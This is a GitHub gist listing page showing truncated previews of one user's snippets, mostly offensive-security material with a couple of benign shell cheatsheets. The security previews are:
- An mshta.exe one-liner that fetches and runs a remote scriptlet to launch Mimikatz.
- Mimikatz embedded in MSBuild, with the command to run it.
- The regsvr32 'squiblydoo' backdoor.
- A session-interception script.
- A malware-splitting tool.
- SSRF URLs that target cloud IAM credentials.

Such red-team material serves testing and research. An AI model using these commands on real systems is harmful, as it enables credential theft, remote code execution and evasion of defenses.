Skip to content

Instantly share code, notes, and snippets.

View ashr's full-sized avatar

ashr ashr

38 followers · 3 following
View GitHub Profile
@ashr
ashr / mimikatz.sct
Created January 19, 2018 11:15
Mimikatz inside mshta.exe - "mshta.exe javascript:a=GetObject("script:http://127.0.0.1:8000/mshta.sct").Exec(); log coffee exit"
<?XML version="1.0"?>
<scriptlet>
<registration
description="Bandit"
progid="Bandit"
version="1.00"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
>
@ashr
ashr / InterceptorThing.ps1
Created February 1, 2018 13:16
Interceptor - Normal User No Admin Required.
<#
.SYNOPSIS
This script demonstrates the ability to capture and tamper with Web sessions.
For secure sessions, this is done by dynamically writing certificates to match the requested domain.
This is only proof-of-concept, and should be used cautiously, to demonstrate the effects of such an attack.
Function: Interceptor
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
@ashr
ashr / Katz.Proj
Created February 4, 2018 17:41
Mimikatz In MSbuild
This file has been truncated, but you can view the full file.
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes mimikatz. -->
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
@ashr
ashr / pe-aware-split.py
Created February 28, 2018 09:49 — forked from DiabloHorn/pe-aware-split.py
Split file while preserving PE format
#!/usr/bin/env python
# DiabloHorn https://diablohorn.com
# blank out bytes taking into account the PE file format
# input file: base64 malware.exe | rev > enc.txt
import sys
import os
#pip install pefile
import pefile
import argparse
import logging
@ashr
ashr / Backdoor.sct
Created April 9, 2018 11:39 — forked from unbaiat/Backdoor.sct
Execute Remote Scripts Via regsvr32.exe - Referred to As "squiblydoo" Please use this reference...
<?XML version="1.0"?>
<scriptlet>
<registration
description="Bandit"
progid="Bandit"
version="1.00"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
>
@ashr
ashr / terminator-shortcuts.md
Created April 30, 2018 08:47
Terminator - shortcuts

Terminator

Installation

sudo apt-get install terminator

Shortcuts

@ashr
ashr / gist:4f17eb4e6ac8df5826df8ad23bcee475
Created May 17, 2018 13:39 — forked from benpturner/perms.ps1
Powershell Perm Review
Get-ChildItem C:\ -Recurse -ErrorAction SilentlyContinue | ForEach-Object {try {Get-Acl -Path $_.FullName | Select-Object pschildname,pspath,accesstostring} catch{}}|Export-Csv C:\temp\acl.csv -NoTypeInformation
@ashr
ashr / cloud_metadata.txt
Created July 27, 2018 13:01 — forked from jhaddix/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## AWS
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
@ashr
ashr / example.cs
Created August 5, 2018 20:10
Loads .NET Assembly into script host from current path
using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
@ashr
ashr / sed cheatsheet
Created December 6, 2018 12:29 — forked from ssstonebraker/sed cheatsheet
Sed Cheatsheet
FILE SPACING:
# double space a file
sed G
# double space a file which already has blank lines in it. Output file
# should contain no more than one blank line between lines of text.
sed '/^$/d;G'